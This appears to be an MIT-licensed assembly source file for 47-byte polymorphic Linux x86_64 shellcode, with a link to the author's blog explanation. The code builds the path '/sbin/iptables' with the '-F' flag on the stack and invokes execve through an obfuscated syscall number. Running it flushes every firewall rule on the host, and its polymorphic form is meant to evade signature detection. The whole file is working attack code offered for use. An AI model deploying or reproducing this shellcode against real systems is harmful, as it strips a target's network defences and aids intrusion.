47 bytes small Linux x86_64 polymorphic flush iptables shellcode.
ee87908add90889442b2e00fe93cd29e;The MIT License (MIT)
;Copyright (c) 2017 Robert L. Taylor
;Permission is hereby granted, free of charge, to any person obtaining a
;copy of this software and associated documentation files (the aSoftwarea),
;to deal in the Software without restriction, including without limitation
;the rights to use, copy, modify, merge, publish, distribute, sublicense,
;and/or sell copies of the Software, and to permit persons to whom the
;Software is furnished to do so, subject to the following conditions:
;The above copyright notice and this permission notice shall be included
;in all copies or substantial portions of the Software.
;The Software is provided aas isa, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability,
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other
;liability, whether in an action of contract, tort or otherwise, arising
;from, out of or in connection with the software or the use or other
;dealings in the Software.
;
; For a detailed explanation of this shellcode see my blog post:
; http://a41l4.blogspot.ca/2017/03/polyflushiptables1434.html
global _start
section .text
_start:
push 82
pop rax
cdq
push rdx
push word '-F'
push rsp
pop rbx
push rdx
mov rcx, 'iptables'
push rcx
shl al,1
sub al,cl
mov rcx, '//sbin//'
push rcx
push rsp
pop rdi
push rdx
push rbx
push rdi
push rsp
pop rsi
syscall